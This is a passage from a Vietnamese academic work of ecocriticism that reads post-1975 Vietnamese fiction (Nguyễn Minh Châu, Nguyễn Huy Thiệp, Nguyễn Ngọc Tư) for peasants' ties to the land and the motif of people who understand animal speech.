gần gũi với cuộc sống và con người (Phùng nghe những âm thanh đánh cá vào rạng
sáng khi nằm cạnh Phác, đứa trẻ con của thuyền chài) thì mới có thể tìm ra giá trị
của nghệ thuật. Chính anh thú nhận “Không phải ngay trong mấy ngày đầu mới
đến mà về sau, khi đã chụp trọn gần một cuốn phim, tôi mới có dịp hiểu đôi chút
về cách làm ăn lâu đời của những “tổ hợp tác” gồm những chiếc thuyền đánh cá
không có bến này”. Do vậy, cái bức tranh chỉ chụp sau hai ngày đến vùng phá ấy
không thể lột tả được vẻ đẹp của cảnh sắc chỉ bằng vài ba sự sắp đặt giản đơn,
nghệ thuật đích thực chỉ có thể nảy sinh từ trong lao động. Đó cũng là lí do vì sao
khi sống một thời gian dài ở đó, lang thang ở các bờ biển, lắng nghe và quan sát,
Phùng mới có được bức ảnh kiệt tác “vẫn còn được treo ở nhiều nơi, nhất là trong
các gia đình sành nghệ thuật”.
Tính phản biện biểu hiện qua hai cái nhìn bên trong và bên ngoài càng gia
tăng ở chính sách đối với người lao động cho thấy sự vênh lệch mà phê bình sinh
thái đặt ra. Từ chối cái nhìn lí tưởng hóa, lãng mạn hóa của Phùng và cái nhìn đơn
giản, phi thực tế của anh cán bộ “Làm nhà trên đất ở một chỗ đâu có thể làm được
cái nghề thuyền lưới vó? Từ ngày cách mạng về, cách mạng đã cấp đất cho nhưng
chẳng ai ở, vì không bỏ nghề được!”, Nguyễn Minh Châu rất sâu sắc khi nhận ra vật
lộn với tự nhiên là một quá trình sống khắc nghiệt, không thể chỉ giản đơn như
câu nói “sao không lên bờ mà ở” của anh cán bộ huyện kia được. Để hiểu được sự
thật đời sống không thể nhìn một cách qua loa của kẻ đứng ngoài. Sự từ chối của
người phụ nữ làng chài trước yêu cầu có vẻ rất nhân đạo về việc cứu giúp chị ra
khỏi nạn bạo hành gia đình của Phùng và Đẩu: “Lòng các chú tốt, nhưng các chú
đâu có phải là người làm ăn… cho nên các chú đâu có hiểu được cái việc của các
người làm ăn lam lũ, khó nhọc…”; “ là bởi các chú không phải là đàn bà, chưa bao
giờ các chú biết như thế nào là nỗi vất vả của người đàn bà trên một chiếc thuyền
không có đàn ông…”, “đám đàn bà hàng chài ở thuyền chúng tôi cần phải có người
đàn ông để chèo chống phong ba”, lật tẩy cái đạo đức hời hợt bề ngoài đã bỏ qua
những điều kiện sinh tồn khắc nghiệt của người lao động.
Điểm nhìn song chiếu ấy càng nổi bật hơn, sắc cạnh hơn khi tác giả Phiên chợ
Giát phản đối sự can thiệp thô bạo của con người vào quy luật tự nhiên. Chủ tịch Bời
146
muốn sống “ba cùng” với gia đình lão Khúng, nhưng rút cuộc, ông chủ tịch vẫn mang
cái nhìn của kẻ đứng ngoài, ông không hiểu được sự vất vả của người nông dân trên
đồng ruộng, cho nên những đề xuất chính sách của ông lại là một cuộc cách mạng giả
tạo, dồn dân vào hợp tác xã là phá hoại sinh thái, bởi lẽ, cuộc sống đang phát triển tự
nhiên, con người đang sống hồn nhiên, tự nhiên thì bị gò ép sống theo một quy luật
phi thực tế. Cái nhìn xa lạ với những quy luật của tự nhiên ấy được ẩn dụ bằng hình
ảnh chủ tịch Bời đi trên không trung, chân không chạm đất. Ngày nay, khi lịch sử đã có
những độ lùi cần thiết, nhìn lại tư tưởng mà chủ tịch Bời cổ xúy, cho rằng con người ta
có thể sắp đặt lại giang sơn quả là tư tưởng ngông cuồng.
Văn học sinh thái, do vậy, yêu cầu “sự gắn kết giữa những người sở hữu và
canh tác đất đai, đã đổ máu, mồ hôi và nước mắt để biến đất thành một phần sinh
tồn của mình, một cuộc sinh tồn không thể tách rời với đất”
1
. Nguyễn Minh Châu
từng chia sẻ trong buổi trao đổi trên báo Văn nghệ: “Tôi rất muốn khám phá con
người này. Một con người như cái lão Khúng, cắm rất sâu vào cái tầng đất quá khứ,
trong chiều sâu tâm lí và tính cách của lão… cái cách sống suốt đời giữa thiên
nhiên, không khéo chính lão cũng là thiên nhiên cơ” bởi vì “tính nông dân là phần
bản năng hồn nhiên còn lại của nhân loại. Cái phần hồn nhiên bản năng trong con
người của lão Khúng, rồi đến một lúc nào đó, những nhà văn của các thế hệ sau
chúng ta lại phải dọ dẫm đi tìm lại, để giữ gìn như giữ gìn cái phần “bản thiện” đầy
nguyên sơ của tâm hồn con người”2
.
Người nông dân gắn với đất đai như máu thịt của mình. Trong Khách ở quê
ra, Lão Khúng lại phát biểu với người chú của mình rằng: “Họ nhà mình chỉ nên sống
với hòn đất”. Đó cũng là một đặc điểm tính cách ăn sâu vào huyết mạch của người
nông dân. Vì nó mà lão đưa gia đình lên cái vùng hoang sơ đầy cỏ tranh và đá.
Những người dân ở trong Cỏ lau thì “đánh nhau vỡ đầu vì tranh giành đất” với rừng
cỏ lau và với chính cả đồng loại. Cuộc đời của Khúng “chúi mũi vào hòn đất”, đôi bàn
tay “không lúc nào ngơi mò mẫm trong đất” để làm cho trong đất bớt đi những
mầm cỏ dại, biến mảnh đất hoang sơ thành quen thuộc. Lão đã biến cái mảnh đất
“chó ăn đá, gà ăn sỏi” ấy thành vùng sắn, khoai, lạc xanh rì, để từ đó “ra đời trên
tấm bản đồ của đất nước tên một cái xã mới”. Đất đai là niềm đam mê của lão, lão

1 Garrard G. (2004), Ecocriticism (The New Critical Idiom), Massachusetts, Routledge, p 112.
2 Nguyễn Trọng Hoàn giới thiệu và tuyển chọn (2004), Nguyễn Minh Châu về tác gia và tác phẩm, Nxb Giáo dục, Hà
Nội, tr 243.
147
chẳng thiết gì, “lão chỉ thiết cái mặt đất ở dưới chân với mấy mảnh ruộng vỡ hoang
được thuộc sở hữu gia đình lão”. Để bám trụ được trên mảnh đất ấy, lão đã “tranh
chấp với rừng từng bước chân, không phải chỉ trả giá bằng mồ hôi mà cả bằng máu”,
“vật lộn” tưới đến gần cạn kiệt mồ hôi cho mảnh đất này. Lao động quần quật đã
biến đôi bàn tay Khúng thành hình ảnh của thiên nhiên. Đó là “Một tòa rễ cây vừa
mới đào dưới đất lên”, “Hai bàn tay lão đầy những chỗ nổi u cục, cái ngón tay vặn
vẹo và bọc một lớp da giống như một thứ vỏ cây”. Nhìn bàn tay của Khúng, Định
như “Đang nhìn thấy một thứ đất đến kz cục: Cứ lổng chổng đầy những đá”. Còn
thân hình Khúng “Đứng trên hai chân y như một cái cây dại tự nhiên từ trong đất
mọc lên”, lão “Y như con bọ hung vừa từ dưới lỗ chui lên, vừa đen vừa gầy vừa già
vừa xấu”. Bằng những hình ảnh so sánh hấp dẫn, nhà vãn đã làm cho người đọc
không còn nhận ra Khúng là con người hay là một phần không thể thiếu của thiên
nhiên.
Đúng như tiên tri của Nguyễn Minh Châu, văn học đang khám phá lại sự gắn
bó giữa con người và đất đai. Một nhân vật của Nguyễn Huy Thiệp đã từng nói “Đi
cày cũng tốt chứ sao” (Những bài học nông thôn) như là cách phản ứng lại thái độ
đầy tự phụ của chúng ta coi những công việc trí óc là cao sang còn việc làm gắn với
đất đai là thấp hèn. Tất cả công việc chăn trâu, cắt cỏ, cày ruộng của Năng (Chăn
trâu cắt cỏ) cũng giống như Thiền vậy: thản nhiên, không xét đoán, không vân vi,
không nghĩ ngợi, không băn khoăn tốt xấu, như lời sư Tịnh “Tùy duyên, sao lại
phân biệt tốt xấu để cho đau lòng”. Một công việc giản dị, bình tâm như lời của bố
“Khôn dại làm quái gì. Cứ làm anh nông dân là tốt”. Quan điểm này của Nguyễn
Huy Thiệp có lẽ gần với Masanobu Fukuoka khi thực hiện Cuộc cách mạng một
cọng rơm. Là một nhà khoa học nghiên cứu về bệnh lí của cây trồng, ông từ bỏ cái
tự tin đầy ngạo mạn về việc có thể kiểm soát được tự nhiên, kì thực dù có trí tuệ
đến đâu, con người chỉ biết một phần về thế giới mà thôi. Ông trở về nông thôn,
thực hành một triết lí nông nghiệp vô vi, tất cả chỉ thực hiện bằng những phương
thức đơn giản theo quy luật tự nhiên. Nếu đặt quan niệm này trong sự soi chiếu
với Dòng sông chết, ta sẽ thấy được nhiều điều. Tiểu thuyết của Thiên Sơn viết về
một nhà khoa học nữ, bị ám ảnh bởi giấc mơ loài người bị biến thành người máy
trong một sa mạc không bóng cây, người bố bị bệnh não… cô miệt mài nghiên cứu
để chế tạo ra những dược phẩm, hóa chất giúp con người sống tốt hơn trong tình
trạng bị ô nhiễm từ nguồn đất, nguồn nước, không khí, thực phẩm… nhưng dường
148
như hành trình khoa học của cô gian nan, cực nhọc và bất an. Vậy, nhân loại lựa
chọn con đường nào đây: tiếp tục phát minh ra các thành tựu khoa học để sửa
chữa sai lầm cho những thành tựu khoa học trước đó trên một hành trình bất tận
hay là trở về với chân lí đời sống giản dị, thô mộc “không làm gì” nhưng đạt được
hạnh phúc và sự cân bằng cả thể chất và tâm hồn. Con đường hoàn nguyên của
loài người có lẽ nằm ở triết lí “vô vi” ấy, đạt được cái minh triết của vũ trụ, cần một
sự hiểu biết toàn diện, tổng hợp của mối liên hệ liên loài, liên hoàn trong một sự
thống nhất hữu cơ.
Khi tốc độ của công nghiệp hóa đang tăng nhanh, khi mà con người đang
cuống cuồng lao theo những giấc mơ đô thị thì những nhân vật gắn bó với đất đai gần
như là bản năng của những chàng trai mới lớn như Nhâm, Năng… lại là những trang
viết tuyệt vời về niềm yêu lao động, vừa nhọc nhằn vừa đầy chất thơ. Nhâm làm việc
“kín hết chỗ từ sớm đến khuya”, những công việc thực sự cực nhọc “gánh lúa rất
nặng. Tôi thấy chân mình run lắm nhưng cố bước. 100 bước. 200 bước. 1000 bước.
2000 bước… Rồi cũng đến nhà”. Dù nhọc nhằn nhưng cũng đầy mộng mơ, gắn bó với
tự nhiên, Nhâm cảm thấy thanh thản qua cái huyền diệu của tạo hóa “Vũ trụ mở ra,
vô cùng vô tận (…) có khả năng an ủi, âu yếm đến từng số phận. Điều ấy khiến tôi an
lòng”. Thương nhớ đồng quê của Nguyễn Huy Thiệp khiến ta liên tưởng đến bộ phim
khai mạc cho Liên hoan phim châu Âu tại Việt Nam vào tháng 5 năm 2015, một bộ
phim của nước Áo Hãy đứng lên và nhảy nào! (Rise up! And Dance) của đạo diễn
Barbara Gräftner. Cũng như Nhâm, Markus là một chàng thanh niên mới lớn, yêu quý,
gắn bó với nông trại bằng tất cả tâm hồn và sức mạnh của một người nông dân: làm
việc cật lực 12 tiếng mỗi ngày: dọn phân, cắt cỏ, cho bò ăn, vắt sữa, đưa sữa ra đường
cái từ sáng sớm chờ xe đến thu mua… Anh chăm chút cho từng sinh linh bé nhỏ:
chàng trai đang điều khiển cái máy cắt cỏ thì nhìn thấy một cái gì động đậy, anh dừng
công việc lại và bế vào nhà một chú bê con nhỏ bé mới sinh ra trên đồng. Những chi
tiết này được kể trên nền một cốt truyện khá quen thuộc về một nhà máy thủy điện
dự kiến sẽ được xây dựng thay thế những cánh đồng nuôi bò sữa mênh mông của
một vùng nông thôn nước Áo. Những người dân biểu tình chống lại kế hoạch đó, tuy
nhiên vẫn có những người đứng về phía chính quyền ủng hộ cho kế hoạch xây thủy
điện. Xung đột ấy xảy ra ngay trong gia đình, giữa Markus và cha. Markus không muốn
đối đầu với cha, anh bỏ trốn khỏi phòng họp khi mọi ánh mắt của những người dân
trong vùng đổ dồn về phía anh đề nghị giúp họ kêu gọi phản đối việc xây dựng nhà
149
máy thủy điện. Khi anh phát hiện ra bí mật khủng khiếp của cha liên quan đến cái chết
của một người dân trong vùng, anh đã bỏ đi, như là trốn chạy khỏi những gánh nặng
mà anh không thể chịu đựng được. Nhưng việc “làm theo tiếng gọi của tình yêu” đã
khiến anh trở nên mạnh mẽ, quay trở lại đấu tranh cho mảnh đất của mình và đối
diện với người cha về sự thật mà anh biết. Kết thúc phim là một hình ảnh thật thơ
mộng: anh nằm cảm nghe sự thanh thản của mình giữa đống rơm rạ. Khi diễn tả xung
đột trong cách ứng xử của các thế hệ đối với vấn đề công nghiệp hóa, thường thì thế
hệ trước giữ lấy đất đai, truyền thống còn người trẻ theo đuổi những ước vọng thành
thị, Hãy đứng lên và nhảy nào! ngược lại. Phải chăng, điều này như một hàm {: tương
lai của châu Âu sẽ thay đổi cách nhìn về sinh thái bắt đầu từ những chàng thanh niên
thơ mộng, yêu nghệ thuật, gắn liền với đất đai bằng một tình yêu sâu sắc và tinh tế;
còn tư tưởng hám tiền, “duy phát triển” chỉ mải chạy theo lợi nhuận kinh tế bất chấp
tất cả đã trở nên lỗi thời và là một tư tưởng già cỗi. Từ một bộ phim mới sản xuất này,
có thể thấy câu chuyện “dĩ nông vi bản” hiện nay không phải là câu chuyện của riêng
một quốc gia nào. Mọi quốc gia trên thế giới đều phải đối mặt với những vấn đề công
nghiệp hóa mang lại.
Trở lại văn học Việt Nam, rõ ràng người Việt không thể rời bỏ cội rễ nông
nghiệp, điều đó cũng được thể hiện trong một bộ phận những tác phẩm viết về sự
gắn kết đất đai, cây cối bằng thái độ đầy trách nhiệm của Nguyễn Minh Châu, Nguyễn
Huy Thiệp, Nguyễn Ngọc Thuần, Nguyễn Danh Lam… Trong Vừa nhắm mắt vừa mở
cửa sổ (Nguyễn Ngọc Thuần), ông nội “yêu cánh đồng như yêu ngôi nhà của mình”,
bố “vui khi nhìn thấy cánh đồng. Một ngày không ra đồng, bố thấy buồn quay quắt”.
“Bố tôi rất hãnh diện vì chưa bao giờ ra khỏi làng” – điều này có vẻ lạ lùng với chúng
ta, kì thực đó là triết lí về hạnh phúc. Mỗi người quan niệm về hạnh phúc và sự thanh
thản khác nhau. Chăm sóc cánh đồng mỗi ngày với một tâm thái tự do và đủ đầy, đó
mới chính là bản chất nông nghiệp thực thụ. Khi đã tìm được hạnh phúc viên mãn của
mình rồi, đâu cần tìm kiếm nơi khác làm gì? Người nông dân ấy cũng là một người
thầy tuyệt vời: dạy con nhắm mắt lại để cảm nhận thế giới, nhắm mắt – nghĩa là loại
bỏ những hệ lụy của tri nhận, còn lại sự chính xác mầu nhiệm của trực giác. Những
cảm nhận về thế giới của cậu bé Trí Dũng với người khác cứ như là phép lạ, thực chất
lại xuất phát từ quan niệm rất giản dị mà cha cậu đã dạy. Ý tưởng đầy chất thơ của
Nguyễn Ngọc Thuần “cánh đồng như là căn nhà lớn nhất thế giới”, { tưởng “trong
máu thịt tôi đã có cánh đồng” (Thương nhớ đồng quê, Nguyễn Huy Thiệp); { tưởng về
150
hành trình mải miết của gia đình Nương, của ông lão chăn vịt trên khắp các cánh đồng
(Cánh đồng bất tận, Cái nhìn khắc khoải, Nguyễn Ngọc Tư)… là { tưởng về sự gắn kết
cuộc đời, tâm hồn, số phận của mỗi người với đất đai. Do vậy, khi các nhân vật rời bỏ
thế gian, đám tang của họ bao giờ cũng thực hiện bằng nghi lễ đi qua đồng “khi nội tôi
mất, những người trong làng phải khiêng cái hòm đi qua từng ruộng lúa rồi mới đem
chôn” (Vừa nhắm mắt vừa mở cửa sổ), đám tang Minh và Mị được coi là “đám ma
trinh nữ trên đồng” (Thương nhớ đồng quê)…
2. NHẬN DIỆN MẪU HÌNH NHÂN CÁCH CHO CHỦ NGHĨA NHÂN VĂN SINH THÁI
Khi đặt ra ranh giới giữa con người và tự nhiên, chúng ta thường coi con
người hơn muôn loài vì có lí trí, ngôn ngữ và văn hóa. Tuy nhiên, phê bình sinh thái
hoài nghi về những quan niệm mặc định này
2.1 Lắng nghe tiếng nói từ tự nhiên
Christopher Manes chỉ trích “Địa vị chủ thể phát ngôn được khư khư ôm giữ
như là đặc quyền chỉ dành riêng cho con người”1
. Cái nhìn này theo ông, đã giới
hạn ngôn ngữ trong phạm vi nhân loại, liên quan đến khả năng có chữ viết. Các
nhà phê bình sinh thái khẳng định rằng “quan điểm coi tự nhiên là câm lặng, không
có tiếng nói, cũng chủ yếu cho thấy về sự khước từ lắng nghe của chính chúng ta
chứ không phải là về năng lực giao tiếp của tự nhiên”, “không đồng nghĩa với việc
cho rằng thế giới tự nhiên chỉ là một cái gì hoàn toàn câm lặng”2
.
Con người vẫn thường tự hào mình là loài có ngôn ngữ, vì có ngôn ngữ con
người có khả năng tư duy. Và chúng ta phủ nhận ngôn ngữ của loài vật, cây cối.
Các nhà sinh thái khẳng định “chúng ta cứ tưởng rằng những con vật không có
ngôn ngữ, bởi vì chúng ta không hiểu những tiếng kêu của chúng”3
. Kì thực, muôn
loài giao tiếp bằng ngôn ngữ riêng của nó. Ông SuDa, từ bé đã trèo lên cây trứng cá
chơi, nghe và nói chuyện với chim bồ câu, cho rằng “Thật tình tiếng bồ câu không
khó nói lắm, dễ hơn tiếng Anh nhiều… một tiếng “gù” âm giống nhau nhưng khi
nghĩa này lúc lại nghĩa khác, rất ít tiếng nhưng đa nghĩa” (Người nói tiếng bồ câu,

1 Manes C. (1996), “Nature and Silence”, The Ecocriticism Reader: Landmarks in Literary Ecology edited by
Cheryll Glotfelty and Harold Fromm, University of Georgia Press, p 15.
2
Rigby K. (2014), Chapter 7: “Ecocritisim”, Introducing Criticism at the Twenty -First Century, Edinburgh UP, Đặng Thị
Thái Hà dịch, Phụ lục luận văn Cái tự nhiên từ điểm nhìn phê bình sinh thái (Qua tác phẩm của Nguyễn Huy Thiệp, Nguyễn
Minh Châu, Nguyễn Ngọc Tư), Luận văn thạc sĩ, Đại học Sư phạm Hà Nội.
3
Fontenay E. (2013), Khi con vật nhìn ta, Hoàng Thanh Thủy dịch NXB Tri Thức, Hà Nội, tr 39.
151
Mạc Can). Cây cối nói với chúng ta ngôn ngữ riêng của nó. Cội mai duy nhất được
cứu trong một gia đình 50 cây mai bị chặt phá có một sức sống bền bỉ và dẻo dai
“Chặt cút phần trên rồi mà phần dưới tỉnh bơ, rễ bò tứ tán, tới tận thềm, chui dưới
nền nhà. Sống lâu thành tinh rồi” (Cội mai lưu lạc, Quế Hương). Số phận đầy thăng
trầm của nó nhắc nhớ cho chúng ta thấy số phận mong manh, ngắn ngủi của
những thế hệ Mai Gia trang: đời cụ cố lập ra Mai gia trang, ông ngoại, mẹ lưu lạc ở
trời Tây và nhân vật “chị” đã trôi đi. Cội mai già bên cửa sổ qua bao dâu bể của
cuộc đời vẫn tồn tại một cách vĩnh cửu và mạnh mẽ: “Tôi nhận ra nó ngay bởi cái
gốc sần sùi rêu bám, mặt trên nhẵn thín bởi dấu đẵn ngọt và một đám rễ chằng
chịt bên dưới đã bám vào đâu là bám cho đến chết. Có điều, từ cái gốc nhẵn thín
câm lặng kia lại trồi lên một mầm sống mới, một nhánh mai non tơ mảnh khảnh,
rạo rực vươn lên. Cội mai cụt đầu thành cái bình cắm một nhành xuân tuyệt tác”.
Tiếng dế hát trong đêm một cách vô tư lự, “Con dế mèn ở ngoài vườn kia ri rỉ ca
hát, nó sung sướng với sự sống bé nhỏ mà Thượng đế ban cho nó. Chẳng hề ghen
tị với ai” (Thổ cẩm, Nguyễn Huy Thiệp) nhắc cho người thấy về cái tự tại của tự
nhiên mà con người không nghe thấy, chẳng qua là vì anh ta không có khả năng
lắng nghe mà thôi. Như vậy, trong văn xuôi sinh thái sau năm 1975, chúng ta bắt
gặp motif người hiểu tiếng loài vật.
Motif con người có khả năng kì lạ có thể nghe thấy tiếng nói của loài vật xuất
hiện từ lâu trong văn học truyền thống, trong văn học dân gian. Theo Đinh Thị Khang,
motif “Người hiểu tiếng loài vật” có trong truyện cổ tích của nhiều dân tộc: Sự tích con
dã tràng (Việt Nam), Con gà trống dũng cảm (Pháp), Ông vua hiểu tiếng loài vật (Lào),
Tiếng loài chim (Maroc), Nang Tang trai (Thái Lan), Ông lão nghe được tiếng chim
(Nhật Bản), Con lừa, con bò, và người cày ruộng (Nghìn lẻ một đêm, Ảrập), tích Công
Dã Tràng (Luận ngữ, Trung Hoa)… hoặc đem đến cho nhân vật chính nhiều ân huệ
(như được ngọc qu{, được Long vương tặng nhiều vàng bạc, được nối ngôi vua…)
hoặc là tai họa (bị hạ ngục, bị chết…) hoặc giúp cho nhân vật diệt trừ được cái ác, cái
xấu xa, trong văn học trung đại như là mắt thấy tai nghe chuyện của 3 con chuột
(Truyện Trinh Thử) hay các nhân vật “phi nhân” tu luyện thành yêu ma, thành tinh hóa
con người trong các truyện truyền kì1
.
Tuy nhiên, điểm khác biệt của motif này trong văn học sau năm 1975 lại là ở
chỗ, cổ nhân lắng nghe loài vật để thể hiện sự thấu hiểu, sẻ chia, còn người hiện đại

1 Xem thêm Đinh Thị Khang (2011), “Truyện Trinh thử và những yếu tố của văn học dân gian”, Tạp chí Nghiên cứu
Văn học, số 9 tr 107 – 118.
152
lắng nghe để thấy nỗi trống trải của mình giữa đồng loại. Cô gái trong tiểu thuyết Sông
(Nguyễn Ngọc Tư) thăm được tiếng hát ốc Bụt Đồng Nàng bằng dây câu buộc bằng
dây mần gai. Nhưng Nguyễn Ngọc Tư không có { định kể một câu chuyện cổ tích,
thông qua phương thức kì ảo để giải huyền thoại, việc nghe được tiếng nói của tự
nhiên không làm cô gái hạnh phúc mà chỉ làm gia tăng thêm bi kịch của sự cô đơn.
Việc nghe được tiếng loài vật không phải là sự ân thưởng mà như là sự trừng phạt –
“Cô nghe được tiếng hát của chúng bằng một khả năng kì bí nào đó được trời ban
tặng lại sau khi lấy đi ánh sáng, năm cô chín tuổi” – nó không làm cô gái vui :“Tụi nó
hát buồn thảm lắm, em không thích”. Mặc dù mong muốn hạnh phúc với Lượm,
nhưng cậu mải kiếm tiền, bỏ ngoài ta lời khuyên của Xu hãy lấy cô gái, vì “bài ca dưới
đáy sông sẽ không còn vẳng đến tai cô một khi cô không còn trong trắng nữa”, cô gái
đã bỏ đi. Cô không muốn đánh đổi hạnh phúc vì khả năng kì diệu ấy. Trong truyện cổ
tích, việc nghe thấy tiếng loài vật để cảm thông: chàng trai đã từ chối ăn thịt con
ngỗng (Sự tích con dã tràng, truyện cổ tích Việt Nam), ông lão cứu con rắn, giải thoát
cho cây bách…. (Ông lão nghe được tiếng chim, truyện cổ tích Nhật Bản) thì việc lắng
nghe tiếng nói của vật trong Sông lại khiến cho chúng dễ dàng bị giết hơn. Mỗi khi
nghe thấy tiếng hát của ốc Bụt, cô gái thổi còi cho dân hai bên sông mò xuống bắt ốc,
khai thác đến cạn kiệt : “Cả buổi chiều ngụp lặn Lượm chỉ kiếm được hai con ốc Bụt
nhỏ bằng ngón chân cái”.
Motif làm bạn với muông thú do vậy thấm đẫm cảm quan hiện đại. Không
thấy ở đây cái an nhiên, thanh thản giữa vạn vật như trong thơ văn thời trung đại,
sự gắn kết này lại cho thấy nỗi cô đơn của nhân vật giữa mênh mông kiếp người.
Nương và Điền (Cánh đồng bất tận, Nguyễn Ngọc Tư) từ chối giao tiếp với con
người, nói tiếng vịt để quên đi “nỗi buồn của cõi người”, Em (Gió lẻ, Nguyễn Ngọc
Tư) nói theo kiểu của chim vì “tiếng nói của loài vật không làm đau nhau”… Trước
cái bất toàn của đời sống, con người phải chịu đựng những bất ổn về mặt tâm lí,
không thể giao tiếp với đồng loại – đó là căn nguyên của việc tìm sự đồng cảm
trong tự nhiên. Có thể gọi đây là bi kịch bị mất lời của con người thời hiện tại.
Đoan (Con chó và vụ li hôn, Dạ Ngân) đã không thể cất lời sau những nhẫn nhịn,
chịu đựng mọi bất công, thói gia trưởng, tính ích kỉ của người chồng và cả khi đứng
trước tòa án dưới con mắt dò xét của vị thẩm phán và thái độ nanh nọc của người
chồng.
Thậm chí, nhiều nhà văn còn quan niệm chính ngôn ngữ loài người với
153
những đặc quyền văn hóa, với những bất công được mặc định trong hệ thống
ngôn ngữ loài người đẩy con người vào bi kịch. “Em” (Gió lẻ) phát hiện ra rằng
“không biết trên thế gian này có con chim nào tìm tới cái chết vì tiếng nói của con
chim khác? Có con chó nào bỗng dưng đâm đầu vào đá vì tiếng sủa của con chó
khác? Có con bò nào nhảy xuống sông tự tử vì tiếng kêu của con bò khác?”.
Nguyễn Ngọc Tư đã nhiều lần nhắc chúng ta rằng, gắn bó với loài vật, con người ta
sẽ thấy bình tâm, tĩnh lặng, bởi bản năng của chúng là yêu thương. Đó là lí do vì
sao các nhân vật khi chán chường, cô đơn, mất niềm tin vào thế giới người đều tìm
đến tự nhiên thanh sạch, an lành, bao dung. Chính “cái bản năng chân thật hồn
nhiên của muông thú” (Kiệt Tuấn) khiến những nhân vật cô đơn, bầm dập, đau khổ
cảm thấy được yêu thương san sẻ – “Chị em tôi học cách yêu thương đàn vịt (hi
vọng là sẽ không bị đau như yêu thương một con người nào đó)… chơi với người
thấy buồn nên chuyển qua chơi cùng vịt”. Đặt con người trong thế đối lập với loài
vật, tác phẩm Nguyễn Ngọc Tư chạm vào nỗi đau sâu thẳm của nhân loại thời hiện
đại: rời bỏ tự nhiên nghĩa là con người đã rời bỏ bản tính thiên nguyên tốt đẹp của
mình. Đặt thiên nhiên bên cạnh thế giới người, ta nhận ra rằng, thế giới tự nhiên
cũng có tâm hồn và tính cách, lại tràn đầy yêu thương, trái ngược lại với thế giới
loài người đầy bất trắc, xảo trá, lọc lừa. Đối với Điền và Nương, “Thế giới của loài
vịt mở ra – không ghen tuông, hờn giận, chắc tại cái đầu vịt nhỏ quá nên chỉ đủ cho
yêu thương”. Ông lão trong truyện Người nói tiếng bồ câu (Mạc Can) cũng khẳng
định : “Lạ kì là bồ câu ít khi mâu thuẫn, nói tiếng gì đúng nghĩa đó, nghĩ sao nói
đúng như vậy chứ không phải như con người”. Sự chân thật của muôn loài thể
hiện ngay trong ngôn ngữ. So sánh với loài vật, các tác giả cho thấy nỗi hoài nghi về
sự chân thật trong ngôn ngữ của loài người, có thể che đậy trong đó rất nhiều hư
ngụy.
Xuất hiện kiểu nhân vật lạc loài, vì những nỗi đau riêng chôn chặt trong lòng
không thể chia sẻ. Nỗi đau riêng ấy đánh bật nhân vật ra khỏi đồng loại. Những
nhân vật này thường chọn cách giao tiếp với loài vật để vơi bớt đớn đau, bởi thế
giới muông thú bao dung, không thù hận, ích kỉ và giả dối như thế giới loài người.
Nương, Điền, cậu bé và “Em” tuy có khác nhau ở hoàn cảnh cụ thể nhưng đều
giống nhau ở điểm là cảm thấy kinh sợ con người vì sớm chứng kiến sự dối trá
trắng trợn của đấng sinh thành. “Em” (Gió lẻ) từ chối tiếng nói con người vì đó là
tiếng nói của sự giả dối làm đau nhau: lời của cha gây cái chết kinh hoàng của mẹ,
154
rồi thản nhiên dựng lên một cái chết sai sự thật về mẹ, ông Tám Nhơn Đạo nói dối,
chị Băng nói dối và rất nhiều người nữa. Từ chối con người, Em chọn cách làm bạn
với loài vật vì “việc nói chuyện với con này con kia làm giấc ngủ trở nên hấp dẫn và
dễ chịu”, thậm chí, sự giao tiếp với con chó Cò còn làm Em có cảm giác “ran khắp
người”. Nhưng cảm xúc ấy đã chết “từ khi nghe lại tiếng người, mùi người”. Lúc bị
ông Tám Nhơn Đạo hãm hiếp, Em chỉ thấy một nỗi trống rỗng khủng khiếp. Sau
này rong ruổi trên chiếc xe tải Landu với Dự và “Gã”, Em từ chối tiếng nói của con
người “vĩnh viễn nói kiểu của chim”, vì “tiếng nói của con vật không dùng để làm
tổn thương nhau”. Bản chất của loài vật là vô tư, hồn nhiên như trẻ nhỏ, vì vậy tìm
đến loài vật là tìm về với phần bản tính tự nhiên tốt đẹp của con người mà khi lớn
lên chúng ta bỏ quên mất: “Khi người ta còn bé, người ta rất hiểu tiếng nói của loài
vật: chúng nói cũng rành rọt như cha mẹ nói với ta. Nhưng một khi ta lớn lên thì
tính năng đó mất đi” (Nữ thần băng giá – Andersen). Bởi vậy, nói theo tiếng nói của
loài vật là cách con người trở về với bản tính thiện của mình, bằng cách đó, thể
hiện một thái độ chối từ dứt khoát với sự xảo trá, lọc lừa của thế giới con người.
Từ chối nói tiếng người – đó cũng là cách của Nương và Điền: Thằng Điền cười,
“ủa, tụi mình hỏng nói tiếng – người”. Thậm chí, đó là kiểu tự vệ của hai đứa trẻ cô
độc thiếu tình yêu thương: “đắm đuối với loại ngôn ngữ mới, chúng tôi chấp nhận
để cho người ta nhìn mình như kẻ điên (miễn là tạm quên nỗi buồn của cõi –
người)” – nỗi buồn của những ước mong rất đỗi giản đơn của một người bình
thường – thèm muốn có một ông nội để thương, không dám gắn kết dù với chỉ một
cái cây vì dời đi lại thấy lòng đau vì lỡ gắn bó. Ở đây chúng ta bắt gặp triết lí sinh
thái trong cách đề xuất của tác giả. Không dành cho con người thế ưu trội, Nguyễn
Ngọc Tư đã đưa ra một cái nhìn bình đẳng với tự nhiên, chỉ ra rằng, chúng ta không
công bằng với tạo vật. Trong tự nhiên không có gì là xấu, đẹp xấu là do con người
áp đặt. Vậy nên, phát hiện của các nhân vật thật giản dị, hiển nhiên mà đau đớn vô
cùng. Bởi lẽ, khi phải từ bỏ thế giới của mình, từ bỏ ngôn ngữ của của đồng loại để
đi tìm ngôn ngữ của loài khác, đó là khi con người cô đơn khủng khiếp. Lão Sìn (Lão
Sìn và con khỉ, Đào Hiếu) sống cô độc. Không giao tiếp. Không ngôn ngữ. Nhưng từ
khi nói chuyện với khỉ con, con vật đã đánh thức trở lại ngôn ngữ, niềm vui giao
tiếp mà bấy lâu nay đánh mất : “Hôm nay lão thay đổi tính, lẩm bẩm nói nhều
không biết với mình hay với khỉ con niềm vui sướng? Vì lâu quá lão không được
nói. Không ai nói với lão”. “Những người lão gặp không ai để { đến lão, hỏi lão một
155
câu. Lão thích được nói nhưng không ai nghe thì nói với ai? Đành thui thủi một
mình… Từ ngày có khỉ con, lão Sìn thay đổi lối sống, thường sai khiến khỉ con bằng
những ngôn ngữ chỉ có lão biết. Còn khỉ con hiểu lão qua thái độ buồn vui, trên nét
mặt hay động tác giơ chân múa tay nhăn nhở giống khỉ hơn những người xung
quanh”.
Quan niệm coi loài vật là sinh linh có tâm hồn, biết đồng cảm và chia sẻ các
